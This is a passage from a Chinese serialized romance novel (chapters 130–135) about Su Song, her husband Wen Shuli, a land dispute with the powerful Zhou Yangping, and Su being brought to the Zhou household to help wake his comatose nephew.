听这语气就知道没少喝,并且闫丽天性强势,一张嘴更是谁也不服,会说羡慕的话,说明醉得不轻。
这会的闫丽坐在星灿的卡座里,一个人,却喝得一桌面都是啤酒瓶。
她酒也不倒出来,直接拿着玻璃瓶罐,这会一手拿着酒,一手拿着手机,说。
“我是说真的。哪个女人不想有个家呢,曾经我也想的,可是他们都骗我。
姓温的,虽然不解风情,有时候还会仗势欺人,但也算有担当。颂颂,还是你好。”
闫丽的往事,苏颂知道好多,包括她为了逃离暴力的原生家庭,被同村的男孩子骗到城里卖掉。
为了在城市里立足,她跟一个七老八十的老男人领证,结果被对方的子女以为她是来争财产的,打到内出血住院,老人也去世了,她又流浪了好几年……
闫丽跟她说的时候都是笑着的,苏颂却听哭了,所以有时候闫丽说她大小姐不懂,苏颂并没有觉得被冒犯,因为相比之下,她真是太幸福了。
而闫丽揭开伤疤给她看,也只是为了劝她回家,劝她珍惜家人,就是这样好的朋友,却一直被她奶奶瞧不上,甚至辱骂,苏颂才无法容忍。
可是不管是悲惨的经历,还是被当面羞辱的谩骂,在苏颂的印象里,她从没有这样语气悲戚过。
苏颂顿了一下,终于问:“丽姐,你这个新男朋友不好。”
不是询问,也没有婉转。闫丽一直用虚长她几岁的社会经历,在劝她向好。
人待她真心,她必定回以真诚。
“你来南城快一年了,我没见他来找过你,就连过年过节,他都没出现,他不方便,就说明有顾忌。”
苏颂咬着唇,怕说出来的话伤到闫丽,可闫丽是谁?
她喝了一口酒,笑了,开口:“还有呢?没事,你继续说。”
“他在骗你。丽姐,这种男人给不了你一个家的。”
130 最负常是无情人,最伤总是痴情种
一个男人对女人,不说多爱,只要喜欢,就肯定会忍不住思念,思念就会想见。
可这个人不想见,甚至都不出面。
闫丽的声音传来:“不愧是我教出来的,分析独到。”她故作轻松,只有她自己清楚,现在她的心里多苦涩。
上午还同她沉沦厮混的男人,下午就带别的女人上婚纱店,叫她心里怎么平衡?
可是,周扬平打一开始就说给不了,是她自己沉溺在这场声色犬马里。
闫丽提起酒瓶,又灌了一口。
“呵呵,男人果然最不可靠。”
这种话,苏颂从闫丽嘴里听到很多次,包括蓝湛还没出现的时候。可是跟蓝湛好的时候,闫丽也打算跟蓝湛回家,谈婚论嫁。
现在闫丽虽然没说,但苏颂知道,她又沦陷进去了。苏颂说:“我原本以为元宵去马场的时候,你会带他出现的,结果没有。”
语音刚落,苏颂就听到门外传来声音,是温戍礼回来了。
“丽姐,我先挂了。”苏颂急急忙忙挂电话,手机刚放下,温戍礼就打开房门,看到她。
“怎么还没睡?肚子很疼?”宽大温厚的手覆上她的小腹,苏颂觉得比暖宝宝还好用。
她摇了摇头,说:“只是有点不舒服,不过你的手好暖,我现在觉得很舒服。”
她腼腆着,说出往常从不敢说出口的话,闫丽说得对,温戍礼也许不是好丈夫,但绝对是个可以依靠的男人,可爱一个人是贪心的,在得知他也对自己有些喜欢之后,苏颂总是忍不住想要更多。
怎么就不能是个可以依靠的好丈夫呢?
她小心翼翼的试探着温戍礼的容忍度,好在他脱鞋上了床,手没有拿开,甚至另一只手还搂住了她。
这一瞬间,让苏颂忘记了姨妈痛,超幸福的。
。
星灿酒吧
顾辽舟带着一肚子气进了门,服务生看到他,跟他说,有个女客人喝了很多酒,也没人来接,并且还要点酒,问他怎么处理。
打开门做生意就不会嫌钱多,只有赚不了的。江灿跟他合伙的时候,只叮嘱一点:这里不能出人命。所以他叮嘱下面的人要多留意有异常的客人。
顾辽舟问:“在哪?”
闫丽喝得脸色通红,酒瓶子都放不到桌子上面去,手一虚晃,瓶子滚落下来,玻璃与木制地板发出脆响,滚了开去。闫丽下意识要去捞,却摸到男人的皮鞋。
她抬眼,就这样仰视着瞧,瞧了半会,一笑:“是你啊!”
顾辽舟双手插进裤兜,俯视着她:“还认得出我啊,还以为醉成狗了。”
此刻,闫丽趴着,四脚朝地,就算被他这么一说,也没有什么反应,换在平时,有人这样说她,肯定被骂得狗血淋头。
顾辽舟:“还真的醉了。”一眼扫过桌面上的酒瓶,一时间也数不清多少,不过看到地上的啤酒筐,好家伙,喝了三打!
“酒呢?酒……”闫丽坐在地上,嘴里还在念叨着要酒,被顾辽舟一把扛起。
一把拍在她的屁股上,道:“都这样了,还喝什么喝!”
闫丽只觉得一阵天旋地转,下肚的东西都在逆流,叫嚣着:“你顶到我的胃了。”
一边说还一边拍打顾辽舟的后背,挣扎的动作很大,引起场子里不少人注目。
有人认出顾辽舟,说:“顾大少,新妞啊!”
顾辽舟同那人笑,回:“新的,烈!”
听得周遭的男人都心照不宣的笑。
顾辽舟将人扛上自己的休息室,累得满头大汗,抱怨道:“真欠你们的。”
他看着躺在床上,闭着眼睛,身材玲珑有致的女人,就算平躺,依然挡不住她的傲挺。
他俯下身,凑近闫丽的脸,有点忍不住想吻她。
有魅力的女人,什么状态下都在散发魅力。不知何时,他已经被闫丽这个妖精给吸引,有些不可抗拒的想接近。
就在他的唇要碰到她的脸的时候,她呢喃一句:“那天他有来的。他就是周扬平啊~”
顾辽舟听清楚了,最后还是站直起来,看着她,笑了:“看不出来,还是个情种。”
“算了,老子对心有所属的女人没兴趣。”他转身,边走边扯开领带,洗澡去了。
。
隔天,温戍礼带苏颂来医院,但却不是去妇科,而是来到男科。
苏颂看着他,眼神透露出些似懂非懂。
温戍礼知道她这个小妻子其实很聪明,就是想躲懒。
犹如现在,她其实知道他要干什么,但她并没有阻止,甚至只用眼神询问。
因为她怕疼,要不然就不会痛经痛到现在才想着来医院看医生了,去年甚至来到医院还走人的。
看到他带别的女人来医院生气一回事,温戍礼知道,她其实是怕疼怕打针,两人领结婚证的时候,需要婚检,抽血的时候,连护士都摁不住她,是他抱着她,才抽血成功的——那是两人第一次身体接触。
想起当时,他忍不住有了笑意,解释说:“怀不上并不一定是你的问题,我也有可能。毕竟就像你说的,我已经上年纪,老了。”
说这个话的时候,他睨着她,嘴角又要笑不笑的,一看就知道他在打趣她,她下午不是心情不好嘛,谁能知道心心念念想着怀上宝宝,结果它又来了。
“记仇!”苏颂小声嘟囔。
“我可听见了。”温戍礼故意倾耳靠近。
林美丽走出电梯的时候,就看到两人,那样子是在玩闹?她有些不可置信,眯着眼睛看清楚一些,确定那个笑得眼尾纹都有的男人就是她的继子温戍礼。
“男科?”她看着他们进了一间医生办公室,再三确定,“难道温戍礼有隐疾?”
“难怪,去年温航之让温戍礼进盛泰的时候,差点跟苏颂明牌了,要是她能尽早生下温家的长孙,盛泰都可以提前给温戍礼。
这么大一块肥肉吸引,我还以为苏颂真清高呢。
没想到不是不想生,而是怀不上。”
林美丽那双凤眼转动,拿出手机给小儿子打电话:“阿衡,我有让你哥回国的办法了。”
131 男人的担当是护你一生
不用抽血,苏颂松了一口气,她看见针头都怕,于是在走廊灯,看到温戍礼一手卷起袖子,一手摁着棉签的走出来,原本放松下去的心又提起来。
“医生怎么说?”
闻言,温戍礼失笑:“哪有这么快出报告的。医生说三天后来拿报告。”
“哦。”
见苏颂担忧的样子,温戍礼眉头一挑:“怎么抽的是我的血,你还这么紧张?”
“我担心结果……”
看她眉心紧锁,是真的担心,倒是让温戍礼不知道该不该高兴了。
“这么不信我?虽然我是比你大八岁,但不至于就不能生了吧?”这么担心,是不是太看低他了?
他低头,两人的距离很近,她又娇小,不需拥抱,就足以将她拢住。林美丽在转角,借着角度,拍下照片,看着照片,得意一笑,赶紧离开。
温戍礼低头,苏颂仰头,四目相对,他说:“要相信只是缘分没到,我们都很健康。”
“奶奶的话,别当真。”
原来温戍礼昨晚回来见苏颂一脸心事重重的样子,趁她睡下,问了阿姨,阿姨才说了苏颂给苏凤打过电话一事。
“当年我顾着苏氏,忽略了你,让你独自承受失去宝宝的痛苦,我很愧疚。”温戍礼拉起苏颂的手。
像是安慰,也像是定心丸:“你没问题的,你怀过,怎么会有问题。”他将手指穿进她的指缝间,两人十指相扣。
苏颂一直觉得自己不懂温戍礼,他冷淡寡言,高兴不大笑,发怒也只是冷言冷语。让人很难猜,可是这一刻,苏颂却懂了他的话。
是宽慰,也是承诺。
他的愧疚,想用一生补偿她,不管她健康与否。
这一刻,苏颂的心情,开心,也沉重。
在苏颂心里,有个不敢告诉人的秘密。八岁那年,苏颂的母亲怀着六个月的身孕遭遇车祸,经历抢救的时候,需要输血,血库的血不够。
她被带到了一家小诊所抽血……她在上课,老师忽然说奶奶找她,她走出校门,只有家里的司机,门卫伯伯问她是不是家里人,苏颂点了点头。于是她被司机带走了。
上车之后的事情她忘了,依稀睁眼的时候,看到一个大针头,还听到有人说“珍儿能活过来才重要”。
药效没过,她感到手臂一疼又晕过去。这件事她一直分不清是现实还是梦,只是当时手臂那个针孔存在很久,黑黑的一个点……让她心里证实那个梦,加上奶奶昏迷时那句话,让她一直觉得那件事是真的。
他们为了抢救妈妈,把小小年纪的她带去抽血。久而久之,她看见针头就怕。
年幼丧母,缺少关心的青春期,她拥有苏家小姐华丽的外衣,实际上非常缺乏安全感……甚至她连对身边人基本的信任感都缺失。
可这一刻,她靠在温戍礼怀里睡得很安稳,车子一路奔驰,都没惊醒。
车子顺利开进地下停车场,司机停好车,回头请示温戍礼,却被他比了一个嘘声的动作,禁止出声。
他的食指动了动,往着车门指去,司机秒懂的下了车,动作轻了又轻。
可动作再轻,关车门的时候,也惊醒了苏颂。
“嗯……到了吗?”苏颂动了动脑袋,睡得太沉,一时间起不来。
温戍礼用手扶了一下,帮她坐起来,问:“要不等会再睡?”
苏颂看到外面,这个车库非常大,灯光亮丽,装修豪华,虽然他们住的小区很高档,但是地下停车场可没有这样的贴砖带描绘。
“这是哪里?”
温戍礼浅笑道:“上去就知道了。”
一路上,苏颂有些畏畏缩缩,当然不是因为这里装修豪华,她也见过世面。是因为墙上那些画都太露骨了……
她原本以为停车场那些穿着泳装的美女图就够震惊眼球了,结果进了电梯……全是金色的,并且电梯门关上,门背是鸳鸯戏水图。
一对只穿着遮点泳装的男女。
这会他们面向门,那图上的男女逼真,像是面对面。苏颂有些尴尬,以为温戍礼带她来的是什么情色场合。
平常就算了,也不是完全不能接受,但……
“我肚子疼。”她试图提醒他,她还在生理期,不可以。
哪知男人一听,直接将她打横抱起,还说:“忍忍。”
被抱着的苏颂听后,脸色都变了。忍忍?他真的打算这样还要……那样那样?
电梯门打开,苏颂人是被抱着的,但却觉得腿软,手紧紧的抓着他的衬衣,随着他迈步走出去,苏颂急得要哭了。
“真的不行!”
嗯,什么味道?还有点热。
一出来,苏颂感觉整个体外温度都上升了。她睁开眼睛,墙壁上被凿成假山体,加上绿植,咋一看,真像是在山涧里。
上面汩汩流水下来,到了中间,穿过龙头,直接流到下面的水池里。
是一个温泉房,并且还是电梯直到。
苏颂惊讶到了,这会由不得她露出没见过世面的样子,因为真没见过。
她在温戍礼怀里,看他:“你带我来泡温泉?”
温戍礼道:“不然呢?”
聪明如他,这会也有片刻茫然。
他听说有这样一个地方,直接让人驱车过来,就是为了让她缓解疼痛。
他将苏颂放下来,说:“这是专门给生理期的人泡的药水汤,你下去泡泡,我去隔壁。”
这种,他不能泡。
苏颂看着一旁可以换的一次性衣服,再看看那药水汤,不知道是室内温度高了,还是怎么,脸蛋腾腾热起来。
温戍礼已经转身了,可又转过来,看着她:“你刚才,以为我带你来什么地方?”
都已经打算换衣服的苏颂一愣,后背都挺直了,含糊的说:“没有,我就是觉得我来那个,不方便出来玩。”
温戍礼却问:“你是不是以为,我要跟你浴血奋战?”
听此言,苏颂差点摔倒,虽然但是,可你是温戍礼啊,不应该出言这么劲爆。
就在苏颂尴尬得脚趾能扣出洞来的时候,背后传来男人的自言自语:“我最近真的这么放纵?”让你们这么误会?
温大少快emo了,他没嘲笑苏颂思想污,反而是自我反省。
132 工作也不耽误宠老婆
温戍礼走了,电梯门合上,苏颂这才发现。电梯一侧有个房门刷卡一样的卡槽,确定这里足够安全,不会有人随便可以进来,才放心的换衣服。
她小心顺着台阶进入池中,里面的水温要比一般的温泉水低一些,只有四十度,但是整个人浸泡下去,却让苏颂发出满足的喟叹。
好舒服。
特别是小腹那里,暖暖的,像是贴上很多暖宝宝一样,疼痛渐渐消失,苏颂整个人都放松下来。
温戍礼出来后,并没有去了别的房间,而是下来一楼跟顾辽舟会合。
顾辽舟靠在前台,一手插兜,一手把玩着他新买的保时捷车钥匙,聊得前台小姐合不拢嘴。
这人不是来泡温泉的,是来泡妞的。
看见温戍礼,顾辽舟立刻收起嬉皮笑脸,走近,问:“嫂子在楼上?”
温戍礼颔首,拿出烟,抽出两根,夹在指尖,递向顾辽舟,问他:“那个人呢?”
顾辽舟看着那烟,这几个月,算是搞明白了,温戍礼的烟不是人情烟,就是犒赏,虽然不容易拿,但不拿白不拿。
他又不是没办事。
顾辽舟接过一根,说:“在外面。”
养老基地的项目遇到点麻烦,有人私有一块地皮,下面的人怎么都谈不拢,因为这个人,旁边那些农户也迟迟不签征地合同,导致工地的进展都耽误了。
这件事温戍礼交给顾辽舟去办,顾辽舟好不容易才找到人,结果那人让温戍礼来见他,架子大得很,昨晚,温戍礼本来是要来见这个人的。
结果因为苏颂一个电话改到今天,然后那人也改了地点,说他明天要上班,要谈就直接到他工作的地方,总之傲得很。
顾辽舟把烟咬嘴上,好好的事本来昨晚就能完成,结果又变卦,他的时间跟精力也是很宝贵的,于是他毫不客气的,用了温戍礼的火。
当然,他自己点。人要有自知之明,他只是占了跟温戍礼年少同窗的便利,并不是真的有能与他平起平坐的背景。
两人抽着烟来到外面,温戍礼还是第一次知道这里藏着这么一个酒店,不大,却很有特色。
虽然酒店门口没有地下停车场奢华艳丽,但草坪很大,甚至还有小型高尔夫模拟场。
温戍礼刚要开口,顾辽舟立刻说:“已经在查了。”
这里处于南城、云城和海城的交界点,因为海城面海,背面地处料峭,形成当地独特的风俗,不与外地通婚,久而久之,当地人也不喜与外人来往,面对外地人性格凶恶,导致外地的,也不喜欢去海城,没想到这里竟藏了这样一个地方。
不用温戍礼说,他也想知道这是谁的。
顾辽舟丢开烟,踩灭。抬手指着那个正戴着草帽,拿着水管在喷洒草地的中年男人,说:“就是他,林大富。”
两人走近,林大富察觉到了,关掉水龙头,“你们来了。”
他弯着腰,甚至都还没站直身体,他对他们的态度淡定从容到,让温戍礼跟顾辽舟对视一眼。
按理说,这样的山野村夫就算胆子再好,遇到大集团的老总,多少会有些拘谨,毕竟在他们看来,这人故意拖着不卖地,就是为了叫高价钱,要钱,态度应该要好。
可这般,毫不把他们放在眼里的样子,让他们不得不怀疑,这人到底是什么意图。或者是有什么深藏不露的身份。
林大富收拾好水管,转身过来,一个个子不高,身材又胖,皮肤黝黑,不到五十岁的年纪,脸上已经细纹成沟壑,一看就是长年劳作。
这是一个普通到不能再普通的男人。
“我知道让你们一趟两趟专程过来,耽误你们宝贵的时间,不过,这事真不是我能做主的,刚好,我家老板今天也在这,你们要的那块地,你们跟我老板直接谈,我就是挂名的。”
还以为这人又会出新的主意刁难,没想到这次这么直接。顾辽舟看温戍礼一眼,问林大富。
“你名下那么多地产,都不是你的?”他早就对这个人调查过,显示是外地生意人,但名下有不少南城的地产,但是顾辽舟上次见到林大富后,便对他产生怀疑,因为无论穿着还是气质,甚至工作,都不像是能拥有这些地产的人。
他这么一说,一切就说得过去了。有些人有头有脸,甚至碍于身份,确实不太方便把地产落在自己名下。
“包括南郊外那栋别墅?都是同一个人的吗?”南郊外那栋别墅,闫丽上次住过那里,在那个时候,顾辽舟就查到别墅是一个姓林的富商的。
林大富笑,没有否认:“都是老板的。”
两人照着林大富指的路继续走,前面是酒店的侧门。
温戍礼观察着这家酒店的外形,看似简单,但布置七弯八拐的,像是按着地理学识来的。
就连侧门,不走到一定位置,都看不到,酒店建设是弯的,门开在凹下去的地方,且被绿化树很好的遮掩住。
“我怎么感觉像布阵?”顾辽舟走着走着,回头看,发现偌大的前院草坪,这些小路竟然汇成一个半边八卦,“如果我没猜错,后院是另半个八卦,这个酒店是中间的分界线。”
他们发现,酒店的外墙竟然是一半白色一半黑色,且不是随便弯曲,整体建筑物像是一个“S”型。
两人走到侧门停下,侧门上面也是彩绘,看似是仕女图,但仔细看,又不像。
顾辽舟摸着下巴:“是个女道士。”
不是现今荧屏上留下来的木讷呆板的女道士形象,而是一个身形曲线曼妙,衣着艳丽,布料很少的女道士,类似于敦煌飞天女神。
道是最先推崇天地人合一,遵循自然规律的教派。
人生来赤裸。这里并不是性感,原来是他们一开始就理解错了。
顾辽舟侧头问温戍礼:“我们需不需要改天再来?看起来对方有点道行,不是我们能降的。”
他们这种追求女色跟利益,肤浅的凡人,别等会被说“俗气”,碰个一鼻子灰。
133 高手对招,只言片语皆是心机
温戍礼的视线从他脸上移过,抬脚,那门竟然自动感应,开了。
他迈步进去,顾辽舟紧忙跟上,看着那门关上,顾辽舟又说:“这里太怪异了,我总觉得心里****的。”
论血腥,顾辽舟不怕,但拜关二爷的人,总归对怪力乱神有敬畏之心。
这里有点邪门。
温戍礼只是淡淡的瞥过那自动合上的门,道:“是人是鬼,见见才知道。”
他抬步进了电梯:“就算是神,来凡间,也得照凡人的规矩。”
他单手插兜,另一只手,打火机在指间转动。
不愧是温戍礼啊,顾辽舟在这一刻,彻底服了!
“不愧是你。行,你都不怕,老子怕个毛线。”他摁下电梯,“上!”
酒店只有三层,电梯停在数字“3”打开。
温戍礼抬步走出,顾辽舟跟在后面半步,跨得很快,拍着胸口说:“幸好它没有蹦出个‘4’。”要是外面看只有三层,电梯却能去到四层,那太吓人了。
“你家真应该连5G网了。”
温戍礼的话冷不伶仃的,反应过来的顾辽舟觉得有被内涵到,他这不是再说他少见多怪,孤陋寡闻吗?
地儿不大,一会就到房间门口了,这里也就这么一个房门,所以两人没有犹豫,走在前头的温戍礼直接将门把往下压。
这一个动作又把顾辽舟震惊成青蛙眼,都不用敲门的吗?
温戍礼看出他心中所想,道:“你问他,礼貌吗?”
尊重是相互的,但对方搞了这么多,有照顾他们的感受吗?
门打开,一个男人站在里面,背影立如松。只是顾辽舟觉得这一身香云纱,好熟悉。
“是吧,周三爷。”温戍礼朝着那背影开口,顾辽舟震惊得下巴都要掉下来了,盯着那个背影像是要看出个洞来。
“你果然很聪明。”周扬平转身,依然笑如禅佛,只那双眼睛,精光闪烁。
温戍礼两手插兜,开门见山的问:“你搞这么多,为了什么?”
周扬平笑:“温总不是很清楚。”
为了他手里,外公留给他的军事工厂。上一次,他已经拒绝了。这一次,温戍礼更直白。
“我没打算转让产业。你要什么,才能把要开发的地皮给我?”现在被这块地卡着,工地的施工都没办法开展,拖一天,开销都是巨大的。
被拒绝,周扬平也没有恼怒,轻笑着说:“你可以再考虑考虑。地,我卖不卖,影响不大,但是工厂被多少人盯着,仅凭你现在能力,你能守得住?
我也不是非得全要,我们可以合作,一起拥有。”
原本还在云里雾里的顾辽舟听到“工厂”,自动就想到年头,见识到温戍礼的那个秘密工厂,里面生产的东西可不简单。不懂的人以为就是螺丝,可懂的人,只会直呼一声“好家伙”。
他问温戍礼:“工厂要招合伙人?那能不能算我一份,我加钱。”那好东西,见过一次就让他魂牵梦绕,钱不钱的已经无所谓了,能让他组装一把就圆梦。想想就爽歪歪。
“哪只眼看见我要招合伙人了,没看出来是他要强买强卖。”温戍礼剔他一眼。
被瞪的顾辽舟“哦”了一声,后知后觉,道:“那不行,不能卖。”
温戍礼对周扬平冷冰冰的说:“周三爷真觉得你卖不卖,问题不大,那又何必不敢把地产放在自己名下?”
他拿出手机:“刚才的话都录音了,你不签合同,我就提交到监察局。”
这年头,一查,有几个能真干净的。
温戍礼学着他刚才的语气,多了几分冷,道:“盯着周家的人也不少吧,如果因为你,而牵连整个周家,那周三爷就是罪人了。”
周扬平看着那手机好一会,轻笑一声:“温大少果然名不虚传。地卖给你,就当顺你一个人情好了。”他坐下去,摇着折扇,一派清贵。
出来的时候,顾辽舟再一次拍着胸口:“好险,周家下一任家主的气场不是盖的。不过你真有一手,怎么会想到录音。”
“你说
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南郊别墅的时候,我就猜到他了。”两人进电梯,温戍礼看着手里还热乎的合同,总觉得哪里不太对。
顾辽舟一拍脑袋,他当时只顾着想查闫丽的时候就查到林大富了,却忽略了闫丽跟周扬平的关系。
“瞧我这个脑子,只转一半。不过我刚才多怕他来抢手机,绕了这么大一圈,没想到他这么简单就签字了。”顾辽舟看着温戍礼手里的合同,觉得又完成了温戍礼交代他的一个任务,松了一口气。
可温戍礼却眉心微蹙:“他的布局,比我想得更早。”周扬平把地契都给了,他买下这块地的时间,竟然是在二十年前。
那时候,温家还没有成为南城首富,更没有养老机构这个项目,是从那个时候就布局的吗?
“不能吧,二十年前,周扬平不也才二十来岁。”顾辽舟如今三十多了,都还没想到彻底拿下顾家的办法,说周扬平从二十年前就对温家布局,除非他是神!
电梯门打开,一出来又看到墙壁上那些画,透出的那种远古神秘色彩极重。
周扬平,真的是神吗?
对比顾辽舟的开始猜测,温戍礼却忽然加快脚步:“坏了,苏颂!”
等温戍礼到达苏颂那间温泉房,里面早已空空如也。
他转身,又快速下来,顾辽舟就在一楼等,见温戍礼神色严肃,只有他一人下来,问:“嫂子出事了?”
温戍礼:“人不见了。”
“那快点让人找。”顾辽舟要去跟前台小姐说,让酒店的人找。
温戍礼却说:“他们找不到的。是周扬平。”他琢磨着,“难怪刚才他会说,把地给我,当是顺我一个人情。
原来是这个人情!”
温戍礼像是自言自语,说完又转身,快步回电梯。顾辽舟跟上,但一头雾水:“既然周扬平,我们得去找他把嫂子带回来啊。”这去地下停车场干什么?
透过电梯的反射,温戍礼看到自己不动声色里透出的一丝紧张。
“他把苏颂带走了。”
134 苏颂:快起来夸我吧,周正焕
两人来到地下停车场,一辆黑色的车子正开出去。
顾辽舟:“是周扬平。”半落的车窗露出那个男人半张脸。
温戍礼快速到了顾辽舟的车边,他的车就停在电梯门口:“上车,追过去。”
车子快速飞出停车位,追了出去。
。
苏颂醒来,发现自己在一个洁白干净的房间,更重要的是,这里没有温泉。甚至一点也不像温泉酒店。
“我怎么会到这里?”
“苏小姐,请跟我来。”大概是听到她的声音,一个年轻的帮佣上前,要带她到什么地方去。
苏颂感到害怕,坐着没动:“你们是谁,要干什么?既然知道我是谁,还敢**我!”她的意识停留在泡温泉的时候,泉水温温的,缓解了她的生理痛,加上空气散发出来的清香,让她很放松,不知不觉就睡了过去。
所以这是有人故意设计的,是针对她,还是冲着温戍礼来的?
但不管哪一种,迷晕她又擅自带她离开原地,就是**。
就算苏颂言辞激烈,咄咄逼人,那个帮佣也没有丝毫畏惧。她说:“我们是请苏小姐过来,不是**。”
一个帮佣,甚至理直气壮?
苏颂这才发现,这个帮佣跟她见过的不一样,她的后背挺得直直的,说话也不卑不亢,并且一脸严肃,这感觉有点熟悉……
“是我们三爷见大少爷昏迷不醒,才想请苏小姐来帮忙。”
三爷?大少爷?苏颂在房间一角看到摆放的勋章照片。
“这里是周家?!”
周正焕从沿江路回来后就不对劲了,熬了一天,半夜开始发烧,隔天被发现到医院的时候已经烧到四十度,甚至昏迷不醒,严重到住ICU。
但是已经过了一天一夜了,烧退了,他还是没醒。
苏颂一边跟着面前的女人走,一边听着她说,越听心越提起来:“怎么会醒不过来?”
“大少爷是早产儿,从小就体弱,并且他还对退烧药过敏,小时候大少爷一年病两次。”两人已经来到房门口。
苏颂听到她这样说,正觉得还好,一年就两次,接着就听到她说。
“一次拖半年。”
苏颂:“……”
对方看了苏颂一眼,虽然她都是一个表情,但苏颂莫名感到她的不喜:“说些大少爷高兴的。”然后房门打开,苏颂是被推进去的。
她本来还想周家人都没能让周正焕醒来,她也没办法。但看到躺在床上的人儿,所有疑惑跟不满都消散。她不管周家是用什么手段让她来的,现在她只是身为一个朋友,来看老朋友。
此时的周正焕像是一个睡美人,他的长相俊美,安静睡着的样子更是多了几分柔美。
“正焕,我是苏颂,你能听到吗?”苏颂走过去,在床边的椅子坐下来,“我们前天才见面啊,你怎么就变成这个样子了?”
一时间,感慨涌上她的心头,让她一时间也不知道该说什么,提起前天,便说:“你那天问我,我最不喜欢一个人待着,为什么一个人在江边走。”
“其实那些人的流言还是其次,我真正难过的是,我只是想要几个真心朋友,为什么那么难?”
苏颂的童年太孤单了,孤单的阴影让她非常珍惜难得的友谊。
“可是我跟丽姐来往,我奶奶说我会学坏,还说会败坏我的名声,奶奶不让我跟丽姐来往,甚至她还想让丽姐的夜店开不下去……
这件事我一直不敢说,之前丽姐的店因为被消防查,关了半个月,是我奶奶举报的。”
苏颂低着头,就算现在房间里就他们两个人,就算周正焕昏迷中,但她还是觉得很愧疚。
“丽姐把我当成妹妹一样,保护我,教我如何在社会立足,不被欺负,她真心对我,但是我却给她带去麻烦……你们都说我连通知都没有就离开云城,其实我是没脸见你们。”
苏颂红着眼睛,伤心的说:“我已经好几年没有见过你了,这些年也没有联系过,他们怎么可以凭借一张照片就造我们的谣呢?”
苏颂激动起来:“男女之间就没有纯友谊吗?都什么时代了,那些人一边高喊
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男女平等,一边却扭曲男女关系!
我们是朋友啊!”
她的情绪已经主宰她整个身体,她像是要把自己藏在心里不能说的,在这一刻,都说出来。
“抱一下又怎么了?我睡着了,还受伤了,你是我朋友,你看到了,肯定帮我的呀,她们的思想怎么能那么肮脏呢?
我最气的还是温戍礼,那个人真的像茅坑里的石头,又老又臭,老古板!
要不是他跟温泰斗法,殃及到我,我会被人盯上吗?
结果他不反思,还对救了我的你,对帮了我的你,不感激,还随波逐流怀疑我们之间的关系?
恩将仇报!”
苏颂越说越气愤,紧紧扭着自己的衣服,当成是温戍礼在出气:“你放心,我昨天已经对他爆发过了。
反正我来了大姨妈,说,就是生理期,情绪不稳定,他也奈何不了我。”她挺直胸膛,有扳回一局的得意。
她说了一堆,可躺在床上的人儿还是没有一点反应。
“正焕,你是不是觉得我这次出了口气很棒呢,是不是不会说我傻了呢?你怎么还不醒呢。”
苏颂快没办法了,但心里又很想为周正焕做点什么。于是她又继续说。
“她们说我们之间有一腿,也不想想,我真的跟你有什么,我当年还需要嫁给温戍礼?”
她揪着衣角,低头碎碎念:“也不看看你的身份,看得上我才怪!”
“咳~”
听见声音,苏颂马上抬头,看到周正焕的脑袋晃了一下,随即慢慢睁开眼睛。
周正焕看着她,确定是她,开口说句什么。
他睡了两天,这会声音沙哑,声线低沉,苏颂听不太清楚,侧着耳朵凑近。
“你个傻瓜!”
苏颂:“……怎么一醒就骂人呢!”
不多会,房间就挤满人,医生、帮佣、甚至连周家老爷子也来了。这是苏颂第一次见到这位传说中的大人物,不过老爷子记挂着孙子,并没有注意到苏颂,她也没打扰,悄悄退出房间。
正巧,碰上回来的周扬平。
135 把我想得龌蹉?来,展现一下
“小叔。”苏颂先打招呼。
周扬平对她笑,比平常的笑容要更深一些:“颂颂,谢谢你,这小子再不醒,家里都要乱套了。”
南城太子爷的称呼不是随便叫叫的,身为周家第一个第三代,出生的时候就经历磨难,从小就是细养着的,可谓浇灌了家里所有长辈的心血。万一有个好歹,老爷子第一个受不住,可不得乱。
“我已经让人准备了厚礼,你尽管收下,你知道小叔我的,不喜欢欠人人情。”他往下看了眼,“温总来接你了。”
苏颂一个人下来,温戍礼看她完好无损,紧张的神色放松了些:“他们有没有为难你?”
苏颂摇头:“正焕高烧之后昏迷了,他们觉得我跟正焕是朋友,让我来试着叫醒他而已。”这有什么好为难的,举手之劳而已。
闻言,温戍礼跟顾辽舟对视一眼。周正焕昏迷的消息并没有外传,关于周家的一切,都是机密,一般人不容易知道。
顾辽舟内心:原来是因为周大少啊!
温戍礼内心:原来是因为周正焕!
心想的一样,心思却完全不同。温戍礼内心正打翻醋缸,他不愿意苏颂再跟周正焕往来,就是因为看出周正焕对苏颂的感情并不只是友谊。看来周家人也知道这点。可越是这样,他心里越是不得劲。
苏颂是她老婆,他们凭什么让苏颂来见周正焕!
“我以为你不让我跟他们联系,是介意我跟正焕来往,没想到正焕一出事,你还会让我过来看看他。
你果然思虑周全,做事稳重,是我误会你了。
平常少点联系不要紧,但如果身为好朋友,在他生命垂危的时候,我没有来看他,以后我也没脸说是他朋友了。”
甚至会愧疚一辈子。
看得出来苏颂很高兴,但她是不是误会什么了?
温戍礼给了顾辽舟一个眼神,制止他说出来。大概是周扬平为了把苏颂带过来的流程合理化,说成是他带苏颂来的。周扬平有他的私心,但温戍礼也没有揭穿,因为他感觉得到,苏颂看他的眼神,没有最近那点哀怨了。
他给苏颂买了新手机,换了新号码,就是不想她再跟那些人联系,苏颂没有多问,但是照做了,她接收到他的意思,但心里却没有真的接收。所以最近总是找借口避开跟他相处。
他正困于怎么打消苏颂对他的不满,现在倒是误打误撞。算了,就不跟姓周的计较了。
三人上了车,苏颂将礼物放在副驾驶上,开车的顾辽舟看了,问:“是什么?”
苏颂说:“是小叔感谢我的回礼,一串玉流苏。”她有打开看看,很漂亮。
顾辽舟透过后视镜看了温戍礼一眼,说:“没想到周扬平这么大方。”都已经签了征地合同了,还给另外的厚礼?
温戍礼说:“又不是没给补偿!”工地上的所有都是按照国家规定结合地方经济水平,给足够的赔偿金的。
他并不想赞赏周扬平,但是苏颂好像不这样想,只听她不在一个频道上的说:“不用补偿,小叔是谢谢我让正焕醒过来,他最不喜欢欠人人情了,同样,他也不喜欢别人欠他人情。
所以他给我们的拿着就行,以后我们需要麻烦他的,也要还他人情。”
顾辽舟之间把人送回家,温戍礼不会再去酒店开车了,有人会去开。他有更急着办的事情。
一进门,他就跟着苏颂,一直跟进到房间里。苏颂把玉流苏放进最上面一层,这一层的珠宝首饰都是他送的,结果现在多了一个周扬平送的。
“还打算戴?”温戍礼算是琢磨出来苏颂放东西的习惯。好看的,贵重的,还有打算用的,就放在显眼的地方。上次拍的玉佩,有瑕疵,就被她放在抽屉里,甚至连个卡座都没有。
苏颂转身,差点撞上。他没打算退后,苏颂后面就是柜台,无可退避,只能保持着面对面,说:“这个可以搭配旗袍。”
“小叔说……”话还没说完就被打断,温戍礼说。
